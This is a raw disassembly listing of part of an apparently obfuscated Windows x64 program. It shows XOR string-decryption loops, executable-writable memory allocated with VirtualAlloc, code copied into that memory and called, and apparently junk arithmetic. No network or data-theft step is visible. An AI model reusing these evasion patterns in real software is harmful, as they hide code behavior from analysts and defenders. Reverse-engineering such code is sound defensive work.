movd dword [rsp + 0x38], xmm2
movdqa xmm4, xmmword [0x140030770]
movdqa xmm3, xmm4
punpckldq xmm3, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm2, xmm3
pmuldq xmm2, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm2, xmm0, 0xdd
psrad xmm2, 5
pmuldq xmm3, xmm10
pmuldq xmm1, xmm10
shufps xmm3, xmm1, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm15
movdqa xmm2, xmm4
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm14
psubd xmm4, xmm0
andps xmm4, xmm9
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm2, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x3c]
xorps xmm2, xmm1
movd dword [rsp + 0x3c], xmm2
jmp 0x14001068f
lea r10, [rsp + 0x38]
mov r9d, r12d
nop dword [rax]
mov eax, 0x84210843
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3e
mov eax, 0xae147ae1
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
sub cl, r8b
add cl, r9b
add cl, cl
add cl, 0x19
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 8
jl 0x140010640
lea r8, [rbp + 0x178]
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 0x120]
call fcn.140021850
nop
mov rcx, rax
call fcn.14001fe10
mov qword [rsp + 0x40], rax
lea rcx, [rbp + 0xd8]
call fcn.1400025a0
lea rdx, [rbp + 0x1608]
lea rcx, [rbp + 0xd8]
call fcn.1400025b0
nop
mov ecx, r12d
mov rax, qword [0x14003c950]
lea rbx, [0x140021500]
test rax, rax
je 0x140010719
nop dword [rax + rax]
cmp rax, rbx
je 0x140010706
inc ecx
mov rax, qword [rdi + rcx*8 + 0x3c950]
test rax, rax
jne 0x1400106f0
jmp 0x140010719
mov eax, ecx
mov r8, qword [rdi + rax*8 + 0x3b010]
test r8, r8
jne 0x1400107ff
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140010742
mov r8, r12
jmp 0x1400107de
mov rax, rbx
mov rcx, r8
mov rdx, r14
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140010750
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1400393a0]
mov qword [rdi + rax*8 + 0x3c950], rbx
mov qword [rdi + rax*8 + 0x3b010], r8
inc rax
mov qword [0x1400393a0], rax
lea rdx, [rsp + 0x40]
lea rcx, [0x14000add0]
call r8
nop
mov rcx, qword [rbp + 0xd8]
xor rcx, qword [rbp + 0xe0]
mov qword [rbp + 0xd8], rcx
mov rax, qword [rbp + 0xe8]
mov qword [rax], rcx
lea rcx, [rbp + 0x120]
call fcn.14001ff50
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x1a0]
call fcn.14001f890
mov dword [rbp + 0xd0], 0xffffff9c
mov dword [rbp + 0xd4], 0x64
movdqa xmm0, xmmword [0x1400307d0]
movups xmmword [rbp + 0x110], xmm0
mov dword [rsp + 0x30], r12d
movsd qword [rsp + 0x38], xmm7
lea rcx, [rsp + 0x50]
call fcn.140001670
mov qword [rsp + 0x40], 0x64
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x60]
call fcn.140020f30
lea rcx, [rbp + 0xf0]
call fcn.1400025a0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf0], xmm1
mov qword [rbp + 0x100], r12
lea rcx, [rsp + 0x40]
call fcn.140020f50
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.14001f790
nop
lea rcx, [rsp + 0x50]
call fcn.14001f750
nop
lea rcx, [rsp + 0x40]
call fcn.14001f750
lea rcx, [rsp + 0x40]
call fcn.140020fa0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.14001f790
nop
lea rcx, [rsp + 0x50]
call fcn.14001f750
nop
lea rcx, [rsp + 0x40]
call fcn.14001f750
lea rcx, [rsp + 0x40]
call fcn.140020fd0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.14001f790
nop
lea rcx, [rsp + 0x50]
call fcn.14001f750
nop
lea rcx, [rsp + 0x40]
call fcn.14001f750
lea rcx, [rsp + 0x40]
call fcn.140021000
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.14001f790
nop
lea rcx, [rsp + 0x50]
call fcn.14001f750
nop
lea rcx, [rsp + 0x40]
call fcn.14001f750
lea rcx, [rsp + 0x40]
call fcn.140021030
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.14001f790
nop
lea rcx, [rsp + 0x50]
call fcn.14001f750
nop
lea rcx, [rsp + 0x40]
call fcn.14001f750
lea rcx, [rsp + 0x40]
call fcn.140021060
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.14001f790
nop
lea rcx, [rsp + 0x50]
call fcn.14001f750
nop
lea rcx, [rsp + 0x40]
call fcn.14001f750
lea rcx, [rsp + 0x40]
call fcn.140001670
mov rcx, rax
lea rdx, [rsp + 0x60]
call fcn.140002540
test al, al
jns 0x140010d83
nop
mov esi, 0x186a0
nop word [rax + rax]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.140020e80
mov rbx, qword [rbp + 0xf8]
sub rbx, qword [rbp + 0xf0]
sar rbx, 3
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.140020e80
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rbp + 0xf0]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.140020e80
mov r8d, eax
mov edx, dword [rsp + 0x30]
mov rcx, rdi
call rbx
mov dword [rsp + 0x30], eax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.140021090
movaps xmm5, xmm0
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.140021090
movaps xmm1, xmm5
call fcn.1400023f0
movsd xmm1, qword [rsp + 0x38]
addsd xmm0, xmm1
movsd qword [rsp + 0x38], xmm0
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.140021090
movaps xmm1, xmm8
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x38]
subsd xmm1, xmm0
movsd qword [rsp + 0x38], xmm1
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.140021090
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x38]
movsd qword [rsp + 0x38], xmm0
lea rdx, str.random
lea rcx, [rbp + 0x120]
call fcn.14001ffb0
nop
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x120]
call fcn.140002360
lea rcx, [rbp + 0xd8]
call fcn.1400025a0
lea rcx, [rbp + 0xd8]
call fcn.14001f960
nop
lea rax, [rbp + 0xd0]
mov qword [rsp + 0x50], rax
lea rax, [rbp + 0x1a0]
mov qword [rsp + 0x58], rax
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x70], xmm0
lea r8, [rsp + 0x70]
mov rdx, qword [rbp + 0xe0]
mov rcx, qword [rbp + 0xd8]
call fcn.140021120
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd8]
call fcn.140002470
mov rdx, qword [rbp + 0xe0]
mov rcx, qword [rbp + 0xd8]
call fcn.140021180
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.140020e80
mov ebx, eax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.140020e80
mov r8d, ebx
mov edx, eax
call fcn.140002570
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
test al, 1
jne 0x140010c76
call fcn.140020e80
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x140010c85
call fcn.140020e80
mov ecx, dword [rsp + 0x30]
sub ecx, eax
mov dword [rsp + 0x30], ecx
mov edi, 5
nop word [rax + rax]
mov ebx, r12d
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.140020e80
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.140021090
movsd xmm5, qword [rsp + 0x38]
addsd xmm0, xmm5
movsd qword [rsp + 0x38], xmm0
lea rdx, [rbp + 0x1a0]
test bl, 1
jne 0x140010d05
lea rcx, [rbp + 0xd0]
call fcn.140020e80
mov ecx, dword [rsp + 0x30]
imul eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x140010d25
movsd xmm5, qword [rsp + 0x38]
lea rcx, [rbp + 0x110]
call fcn.140021090
addsd xmm0, xmm6
divsd xmm5, xmm0
movsd qword [rsp + 0x38], xmm5
inc ebx
cmp ebx, 5
jl 0x140010ca0
sub rdi, 1
jne 0x140010c90
lea rcx, [rbp + 0xd8]
call fcn.14001f900
nop
lea rcx, [rbp + 0x120]
call fcn.14001ff50
sub rsi, 1
jne 0x140010a60
lea rcx, [rsp + 0x40]
call fcn.140001670
mov rcx, rax
lea rdx, [rsp + 0x60]
call fcn.140002540
test al, al
js 0x140010a50
lea rdi, [0x140000000]
mov eax, dword [rsp + 0x30]
lea rcx, [rbp + 0xf0]
call fcn.14001f7c0
movups xmm0, xmmword [str.kz_EFIB_N_r_ryxpnfxhm]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [0x140030618]
movups xmmword [rbp], xmm1
movups xmm0, xmmword [0x140030628]
movups xmmword [rbp + 0x10], xmm0
movsd xmm0, qword [0x140030638]
movsd qword [rbp + 0x20], xmm0
mov eax, dword [0x140030640]
mov dword [rbp + 0x28], eax
movzx eax, word [0x140030644]
mov word [rbp + 0x2c], ax
movzx eax, byte [0x140030646]
mov byte [rbp + 0x2e], al
mov r9d, r12d
cmp r15d, 2
jl 0x140010f89
movdqa xmmword [rsp + 0x40], xmm13
lea rcx, [rbp - 0x10]
mov edx, dword [rsp + 0x40]
nop dword [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm12
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm10
pmuldq xmm1, xmm10
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm9
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm12
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm10
pmuldq xmm1, xmm10
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm9
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm1, xmm0
movd dword [rcx + 4], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x38
jl 0x140010e00
cmp r9d, 0x3f
jge 0x140010fef
movsxd rax, r9d
lea r10, [rbp - 0x10]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x84210843
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3e
mov eax, 0xae147ae1
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
sub cl, r8b
add cl, r9b
add cl, cl
add cl, 0x19
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x3f
jl 0x140010fa0
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
lea rcx, [rbp + 0xd8]
call fcn.1400025a0
lea rdx, [rbp + 0x1608]
lea rcx, [rbp + 0xd8]
call fcn.1400025b0
nop
mov ecx, r12d
mov rax, qword [0x14003a370]
lea rbx, [0x140021500]
test rax, rax
je 0x140011059
nop
cmp rax, rbx
je 0x140011046
inc ecx
mov rax, qword [rdi + rcx*8 + 0x3a370]
test rax, rax
jne 0x140011030
jmp 0x140011059
mov eax, ecx
mov r10, qword [rdi + rax*8 + 0x39d30]
test r10, r10
jne 0x14001113f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x140011082
mov r10, r12
jmp 0x14001111e
mov rax, rbx
mov rcx, r10
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r14, 1
jne 0x140011090
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1400396d0]
mov qword [rdi + rax*8 + 0x3a370], rbx
mov qword [rdi + rax*8 + 0x39d30], r10
inc rax
mov qword [0x1400396d0], rax
lea rdx, [rsp + 0x40]
lea rcx, [0x14000add0]
call r10
nop
mov rcx, qword [rbp + 0xd8]
xor rcx, qword [rbp + 0xe0]
mov rax, qword [rbp + 0xe8]
mov qword [rax], rcx
lea rcx, [rbp + 0x178]
call fcn.14001ff50
nop
mov rax, qword [rbp + 0x160]
movabs rcx, 0xff00ff00ff00ff00
xor rax, rcx
lea rcx, [rbp + 0x1608]
mov qword [rcx], rax
mov rcx, qword [rbp + 0x1530]
xor rcx, rsp
call fcn.14002ba10
lea r11, [rsp + 0x16e0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret